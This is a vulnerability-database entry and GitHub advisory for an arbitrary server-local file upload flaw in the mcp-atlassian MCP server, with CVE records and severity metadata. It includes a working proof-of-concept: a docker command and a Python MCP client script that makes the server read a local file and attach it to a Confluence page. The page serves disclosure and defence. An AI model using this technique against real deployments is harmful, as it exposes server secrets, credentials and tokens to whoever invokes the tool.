Vulnerability-Lookup

CVE-2026-77247 (GCVE-0-2026-77247)

Vulnerability from cvelistv5 – Published: 2026-09-22 18:34 – Updated: 2026-09-22 19:02

Title

MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.

Severity

8.3 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-22 19:01 UTC

CWE

CWE-73 - External Control of File Name or Path

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
https://github.com/sooperset/mcp-atlassian/pull/1448	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC
https://github.com/sooperset/mcp-atlassian/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
sooperset	mcp-atlassian	Affected: < 0.22.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-77247",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T19:01:26.913877Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-22T19:02:33.359Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.3,
            "baseSeverity": "HIGH",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-22T18:34:32.251Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
        }
      ],
      "source": {
        "advisory": "GHSA-f6pj-qv47-g96w",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-77247",
    "datePublished": "2026-09-22T18:34:32.251Z",
    "dateReserved": "2026-08-20T19:02:23.416Z",
    "dateUpdated": "2026-09-22T19:02:33.359Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-77247",
      "date": "2026-09-25",
      "epss": "0.00445",
      "percentile": "0.3611"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "mcp-atlassian",
                "vendor": "sooperset",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.22.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
          }
        ],
        "id": "CVE-2026-77247",
        "lastModified": "2026-09-23T18:28:25.093",
        "metrics": {
          "cvssMetricV40": [
            {
              "cvssData": {
                "Automatable": "NOT_DEFINED",
                "Recovery": "NOT_DEFINED",
                "Safety": "NOT_DEFINED",
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "availabilityRequirement": "NOT_DEFINED",
                "baseScore": 8.3,
                "baseSeverity": "HIGH",
                "confidentialityRequirement": "NOT_DEFINED",
                "exploitMaturity": "NOT_DEFINED",
                "integrityRequirement": "NOT_DEFINED",
                "modifiedAttackComplexity": "NOT_DEFINED",
                "modifiedAttackRequirements": "NOT_DEFINED",
                "modifiedAttackVector": "NOT_DEFINED",
                "modifiedPrivilegesRequired": "NOT_DEFINED",
                "modifiedSubAvailabilityImpact": "NOT_DEFINED",
                "modifiedSubConfidentialityImpact": "NOT_DEFINED",
                "modifiedSubIntegrityImpact": "NOT_DEFINED",
                "modifiedUserInteraction": "NOT_DEFINED",
                "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
                "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
                "modifiedVulnIntegrityImpact": "NOT_DEFINED",
                "privilegesRequired": "LOW",
                "providerUrgency": "NOT_DEFINED",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "valueDensity": "NOT_DEFINED",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE",
                "vulnerabilityResponseEffort": "NOT_DEFINED"
              },
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-77247",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-22T19:01:26.913877Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-09-22T19:16:48.877",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Undergoing Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-73"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-77247",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "partial"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-09-22T19:01:26.913877Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-09-22T19:01:48.152Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "mcp-atlassian",
              "vendor": "sooperset",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 0.22.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
            }
          ],
          "metrics": [
            {
              "cvssV4_0": {
                "attackComplexity": "LOW",
                "attackRequirements": "NONE",
                "attackVector": "NETWORK",
                "baseScore": 8.3,
                "baseSeverity": "HIGH",
                "privilegesRequired": "LOW",
                "subAvailabilityImpact": "NONE",
                "subConfidentialityImpact": "HIGH",
                "subIntegrityImpact": "NONE",
                "userInteraction": "NONE",
                "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
                "version": "4.0",
                "vulnAvailabilityImpact": "NONE",
                "vulnConfidentialityImpact": "HIGH",
                "vulnIntegrityImpact": "NONE"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-73",
                  "description": "CWE-73: External Control of File Name or Path",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-09-22T18:34:32.251Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/pull/1448",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
            },
            {
              "name": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
            }
          ],
          "source": {
            "advisory": "GHSA-f6pj-qv47-g96w",
            "discovery": "UNKNOWN"
          },
          "title": "MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-77247",
        "datePublished": "2026-09-22T18:34:32.251Z",
        "dateReserved": "2026-08-20T19:02:23.416Z",
        "dateUpdated": "2026-09-22T19:02:33.359Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-77247

Vulnerability from fkie_nvd - Published: 2026-09-22 19:16 - Updated: 2026-09-23 18:28

Severity

8.3 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/pull/1448
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.22.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0."
    }
  ],
  "id": "CVE-2026-77247",
  "lastModified": "2026-09-23T18:28:25.093",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.3,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "HIGH",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-77247",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-22T19:01:26.913877Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-22T19:16:48.877",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f6pj-qv47-g96w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-F6PJ-QV47-G96W

Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36

Summary

MCP Atlassian: Arbitrary server-local file upload to Jira/Confluence attachments via unrestricted file_path parameters

Details

Summary

The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.

In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.

This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.

Details

The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.

Relevant implementation points:

mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment
Accepts file_path.
Converts the supplied value to an absolute path when needed.
Checks existence with os.path.exists.
Passes the path into the attachment upload flow.
mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct
Opens the supplied file_path with open(file_path, "rb").
Sends the resulting file object as multipart form data to Confluence.
mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments
Iterates caller-supplied file_paths.
Calls upload_attachment for each path.
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment
Accepts file_path.
Converts the supplied value to an absolute path when needed.
Checks existence with os.path.exists.
Opens the file and uploads it as a Jira attachment.
mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments
Iterates caller-supplied file_paths.
Calls upload_attachment for each path.
mcp_atlassian.servers.jira.update_issue
Accepts an attachments argument as a JSON array string or comma-separated string.
Converts it into attachment paths and passes them into the Jira update flow.

The project also documents non-stdio deployment modes:

sse
streamable-http
multi-user authentication
Docker and Kubernetes deployment

Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.

The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.

Expected behavior:

Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or
Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and
Dangerous path forms such as remote UNC paths and file:// URLs should be rejected before filesystem checks.

PoC

The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.

Prerequisites:

A test Confluence site.
A test page content ID where the tester is allowed to upload attachments.
A test Confluence API token or another supported authentication method.
Python 3.10 or newer.

Start mcp-atlassian in HTTP mode:

docker run --rm -p 9000:9000 \
  -e CONFLUENCE_URL="https://<your-test-site>.atlassian.net/wiki" \
  -e CONFLUENCE_USERNAME="<tester-email>" \
  -e CONFLUENCE_API_TOKEN="<tester-api-token>" \
  ghcr.io/sooperset/mcp-atlassian:latest \
  --transport streamable-http --host 0.0.0.0 --port 9000

Install the MCP Python client:

python -m pip install "mcp>=1.8.0"

Run this standalone client script:

import asyncio
import os
import tempfile
from pathlib import Path

from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client


async def main() -> None:
    mcp_url = os.environ.get("MCP_URL", "http://127.0.0.1:9000/mcp")
    content_id = os.environ["CONFLUENCE_CONTENT_ID"]

    proof_dir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-"))
    proof_file = proof_dir / "server-local-proof.txt"
    proof_file.write_text(
        "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n",
        encoding="utf-8",
    )

    async with streamablehttp_client(mcp_url) as (read_stream, write_stream, _):
        async with ClientSession(read_stream, write_stream) as session:
            await session.initialize()
            result = await session.call_tool(
                "confluence_upload_attachments",
                {
                    "content_id": content_id,
                    "file_paths": str(proof_file),
                    "comment": "Security test: benign server-local upload proof",
                    "minor_edit": True,
                },
            )
            print(result)
            print(f"Uploaded test filename: {proof_file.name}")


if __name__ == "__main__":
    asyncio.run(main())

Run it with the test page ID:

CONFLUENCE_CONTENT_ID="<test-page-content-id>" python poc.py

Observed result:

The MCP client sends a normal confluence_upload_attachments tool call.
The MCP server reads the temporary file from its own filesystem.
The MCP server uploads that file as an attachment to the configured Confluence page.
The uploaded attachment appears on the test page.

Security significance:

The MCP caller did not need shell access to the server.
The MCP caller did not need direct filesystem access to the server.
The MCP caller only needed permission to invoke the upload tool.
The file read happened with the privileges of the MCP server process.

The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.

Impact

This is a server-local file disclosure and exfiltration primitive through attachment upload tools.

Impacted users:

Users running mcp-atlassian with write/upload tools enabled.
Operators exposing mcp-atlassian through sse or streamable-http.
Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem.
Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.

Potential attacker:

A malicious or compromised MCP client with permission to invoke attachment upload tools.
A malicious user in a multi-user MCP deployment.
An attacker who can supply or influence MCP tool arguments through an integrated workflow.

Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:

application configuration
deployment secrets
cloud or service credentials mounted into the runtime
CI/CD or automation tokens
other files available to the MCP server user

This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.

If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.

Suggested fixes:

Default-deny server-local path uploads in HTTP/SSE and multi-user deployments.
Add an explicit opt-in flag for server-local upload paths.
Require an allowlisted upload root and enforce it after realpath resolution.
Reject file:// URLs and remote UNC path forms before any filesystem operation.
Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:36:29Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server\u0027s local filesystem before uploading the file as an Atlassian attachment.\n\nIn local `stdio` deployments, this can expose files readable by the user\u0027s MCP process. In documented HTTP/SSE or `streamable-http` deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.\n\nThis is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.\n\n## Details\n\nThe vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.\n\nRelevant implementation points:\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachment`\n  - Accepts `file_path`.\n  - Converts the supplied value to an absolute path when needed.\n  - Checks existence with `os.path.exists`.\n  - Passes the path into the attachment upload flow.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin._upload_attachment_direct`\n  - Opens the supplied `file_path` with `open(file_path, \"rb\")`.\n  - Sends the resulting file object as multipart form data to Confluence.\n\n- `mcp_atlassian.confluence.attachments.AttachmentsMixin.upload_attachments`\n  - Iterates caller-supplied `file_paths`.\n  - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachment`\n  - Accepts `file_path`.\n  - Converts the supplied value to an absolute path when needed.\n  - Checks existence with `os.path.exists`.\n  - Opens the file and uploads it as a Jira attachment.\n\n- `mcp_atlassian.jira.attachments.AttachmentsMixin.upload_attachments`\n  - Iterates caller-supplied `file_paths`.\n  - Calls `upload_attachment` for each path.\n\n- `mcp_atlassian.servers.jira.update_issue`\n  - Accepts an `attachments` argument as a JSON array string or comma-separated string.\n  - Converts it into attachment paths and passes them into the Jira update flow.\n\nThe project also documents non-stdio deployment modes:\n\n- `sse`\n- `streamable-http`\n- multi-user authentication\n- Docker and Kubernetes deployment\n\nTherefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.\n\nThe core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.\n\nExpected behavior:\n\n- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or\n- Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and\n- Dangerous path forms such as remote UNC paths and `file://` URLs should be rejected before filesystem checks.\n\n## PoC\n\nThe following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.\n\nPrerequisites:\n\n- A test Confluence site.\n- A test page content ID where the tester is allowed to upload attachments.\n- A test Confluence API token or another supported authentication method.\n- Python 3.10 or newer.\n\nStart `mcp-atlassian` in HTTP mode:\n\n```bash\ndocker run --rm -p 9000:9000 \\\n  -e CONFLUENCE_URL=\"https://\u003cyour-test-site\u003e.atlassian.net/wiki\" \\\n  -e CONFLUENCE_USERNAME=\"\u003ctester-email\u003e\" \\\n  -e CONFLUENCE_API_TOKEN=\"\u003ctester-api-token\u003e\" \\\n  ghcr.io/sooperset/mcp-atlassian:latest \\\n  --transport streamable-http --host 0.0.0.0 --port 9000\n```\n\nInstall the MCP Python client:\n\n```bash\npython -m pip install \"mcp\u003e=1.8.0\"\n```\n\nRun this standalone client script:\n\n```python\nimport asyncio\nimport os\nimport tempfile\nfrom pathlib import Path\n\nfrom mcp import ClientSession\nfrom mcp.client.streamable_http import streamablehttp_client\n\n\nasync def main() -\u003e None:\n    mcp_url = os.environ.get(\"MCP_URL\", \"http://127.0.0.1:9000/mcp\")\n    content_id = os.environ[\"CONFLUENCE_CONTENT_ID\"]\n\n    proof_dir 